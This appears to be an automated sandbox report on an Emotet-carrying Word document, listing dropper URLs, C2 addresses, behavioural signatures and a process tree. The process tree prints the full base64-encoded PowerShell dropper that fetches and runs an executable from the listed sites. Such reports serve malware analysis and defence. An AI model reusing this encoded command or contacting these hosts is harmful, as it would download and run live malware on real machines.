Overview

overview

10

Static

static

8

NSETHA2020-09.doc

windows7_x64

10

NSETHA2020-09.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    29/09/2020, 00:29

Sharing

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General

  • Target
    NSETHA2020-09.doc
  • Size 138KB
  • Sample200929-yk31afce2j
  • SHA256 13b98d2f0d07581934fcff17efd69c9924d5cc1d0bb874c28eaaeb497cba7bb4
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://edu.jmsvclass.com/wp-includes/sZmjSq/
  • exe.dropper

    http://darkblessing.net/e4wftkpn/KNAO9/
  • exe.dropper

    http://trancisconsulting.com/wp-admin/EEoF/
  • exe.dropper

    http://devanyastore.com/wp-content/9J56juA/
  • exe.dropper

    http://healthcureathome.com/ALFA_DATA/iKSdCK6/
  • exe.dropper

    http://www.szwymall.com/wp-content/j29mvS/
  • exe.dropper

    http://www.jornco.com/wp-admin/UT0xBJw/

Extracted

Family

  • emotet

C2

  • 38.18.235.242:80

  • 5.196.108.189:8080

  • 121.124.124.40:7080

  • 104.236.246.93:8080

  • 113.61.66.94:80

  • 120.150.60.189:80

  • 91.211.88.52:7080

  • 47.144.21.12:443

  • 108.46.29.236:80

  • 139.162.108.71:8080

  • 134.209.36.254:8080

  • 139.59.60.244:8080

  • 66.65.136.14:80

  • 76.175.162.101:80

  • 174.106.122.139:80

  • 95.213.236.64:8080

  • 174.45.13.118:80

  • 50.35.17.13:80

  • 209.141.54.221:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NSETHA2020-09.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATABlAFwAVAA0AFkAeQBlAFIAOABcAGgASgBfAE0ARgBaAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAGAAVQByAGkAYABUAGAAWQBwAFIATwBgAFQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsAHMAJwArACcAMQAxACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQgAzAHUAbwBuAHQAMQAgAD0AIAAoACgAJwBPAG4AagAnACsAJwAyACcAKQArACgAJwBxACcAKwAnAG0AegAnACkAKwAnAHQAJwApADsAJABJAGQAdAA2ADQAZQBuAD0AKAAoACcARAA4ACcAKwAnADMAaAAnACkAKwAoACcANAAnACsAJwB1AHkAJwApACkAOwAkAFoAcgB0AG8AMwA2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAJwBHACcAKwAoACcATAAnACsAJwBUADQAJwApACsAKAAnAHkAJwArACcAeQBlACcAKQArACgAJwByACcAKwAnADgAYwAnACkAKwAnAEcAJwArACgAJwBMACcAKwAnAEgAagBfACcAKQArACgAJwBtACcAKwAnAGYAegB2AGMARwBMACcAKQApAC4AIgBSAGUAYABQAEwAQQBDAGUAIgAoACgAWwBDAGgAYQByAF0AOQA5ACsAWwBDAGgAYQByAF0ANwAxACsAWwBDAGgAYQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEIAMwB1AG8AbgB0ADEAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABJAG8AdAA1AGMAegBrAD0AKAAoACcATQAnACsAJwAzADMAcQA2ADAAJwApACsAJwBmACcAKQA7ACQATgByAG8AbQBvAGcAcgA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AGUAQgBDAEwASQBFAG4AdAA7ACQARQBvADYAMQB4AGMAbwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBlACcAKwAnAGQAdQAnACsAJwAuAGoAJwArACgAJwBtAHMAJwArACcAdgAnACkAKwAoACcAYwBsAGEAcwBzAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQBzACcAKQArACcALwBzACcAKwAoACcAWgAnACsAJwBtAGoAJwApACsAKAAnAFMAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAZABhAHIAJwApACsAJwBrACcAKwAoACcAYgBsAGUAcwAnACsAJwBzACcAKQArACcAaQBuACcAKwAoACcAZwAuACcAKwAnAG4AZQAnACkAKwAoACcAdAAvAGUAJwArACcANAB3AGYAdAAnACkAKwAnAGsAJwArACcAcABuACcAKwAoACcALwBLAE4AQQBPADkALwAqAGgAdAB0AHAAOgAvAC8AdAAnACsAJwByAGEAJwArACcAbgAnACsAJwBjAGkAJwArACcAcwAnACsAJwBjAG8AbgBzACcAKQArACgAJwB1ACcAKwAnAGwAdABpACcAKQArACcAbgBnACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGEAJwApACsAJwBkACcAKwAoACcAbQBpAG4ALwAnACsAJwBFAEUAJwApACsAJwBvAEYAJwArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBkAGUAdgBhAG4AJwArACcAeQBhAHMAJwArACcAdABvAHIAZQAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBjAG8AJwArACcAbgAnACsAJwB0AGUAJwApACsAJwBuACcAKwAoACcAdAAvACcAKwAnADkASgA1ADYAJwApACsAJwBqAHUAJwArACcAQQAnACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AaAAnACsAKAAnAGUAJwArACcAYQBsAHQAaABjAHUAJwArACcAcgBlACcAKQArACcAYQAnACsAKAAnAHQAJwArACcAaABvAG0AJwApACsAKAAnAGUALgAnACsAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBBAEwARgAnACsAJwBBAF8AJwApACsAJwBEAEEAJwArACcAVAAnACsAKAAnAEEALwAnACsAJwBpACcAKQArACgAJwBLACcAKwAnAFMAZAAnACkAKwAnAEMAJwArACgAJwBLACcAKwAnADYALwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAJwB3AHcAJwArACcAdwAnACsAJwAuAHMAJwArACgAJwB6AHcAJwArACcAeQAnACkAKwAnAG0AJwArACgAJwBhAGwAJwArACcAbAAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AJwArACcAdAAvACcAKQArACcAagAnACsAKAAnADIAJwArACcAOQBtACcAKQArACgAJwB2ACcAKwAnAFMALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvAHcAdwAnACsAJwB3AC4AJwApACsAKAAnAGoAbwByAG4AYwBvAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKwAnAHAAJwArACcALQAnACkAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvACcAKwAnAFUAVAAwACcAKQArACgAJwB4AEIAJwArACcASgB3AC8AJwApACkALgAiAHMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBtAGwAXwA4AHIAcQA9ACgAKAAnAEgAJwArACcAeQBvACcAKQArACgAJwBkAGUAJwArACcAbAAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBrAHUAXwB0AGQAXwAgAGkAbgAgACQARQBvADYAMQB4AGMAbwApAHsAdAByAHkAewAkAE4AcgBvAG0AbwBnAHIALgAiAEQAYABvAGAAdwBuAEwATwBhAGQAZgBpAGwARQAiACgAJABCAGsAdQBfAHQAZABfACwAIAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAUABuAGYAOQBmAHoAdAA9ACgAKAAnAFYAZwBvAGEAJwArACcAbgAnACkAKwAnADkAJwArACcAbQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgByAHQAbwAzADYAZgApAC4AIgBMAEUAYABOAGcAYABUAEgAIgAgAC0AZwBlACAAMgAzADIANQAzACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAWABvAHEAaQB5AHIANQA9ACgAKAAnAEIAdQBvACcAKwAnAGwAaAAnACkAKwAnAGkAZgAnACkAOwBiAHIAZQBhAGsAOwAkAFkANgByADUAaAAxAGUAPQAoACcAUwAnACsAJwBmACcAKwAoACcAMgBkAHEAJwArACcAZABuACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAG0AaQA5AGsAdgA5AD0AKAAnAEkAXwAnACsAKAAnAGQAZgBlACcAKwAnAG0AeAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe
      "C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:992
      • C:\Windows\SysWOW64\DWWIN\pifmgr.exe
        "C:\Windows\SysWOW64\DWWIN\pifmgr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1132

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/992-17-0x0000000000030000-0x0000000000040000-memory.dmp
        Download

        memory/992-16-0x0000000000230000-0x0000000000242000-memory.dmp
        Download

        memory/1060-3-0x0000000006ED0000-0x00000000070D0000-memory.dmp
        Download

        memory/1060-2-0x0000000008A70000-0x0000000008A74000-memory.dmp
        Download

        memory/1564-9-0x000000001AA00000-0x000000001AA01000-memory.dmp
        Download

        memory/1564-13-0x000000001C390000-0x000000001C391000-memory.dmp
        Download

        memory/1564-12-0x000000001B920000-0x000000001B921000-memory.dmp
        Download

        memory/1564-11-0x0000000001E70000-0x0000000001E71000-memory.dmp
        Download

        memory/1564-10-0x000000001A920000-0x000000001A921000-memory.dmp
        Download

        memory/1564-8-0x00000000024B0000-0x00000000024B1000-memory.dmp
        Download

        memory/1564-7-0x000007FEF1B10000-0x000007FEF24FC000-memory.dmp
        Download

        memory/1840-23-0x000007FEF6AD0000-0x000007FEF6D4A000-memory.dmp
        Download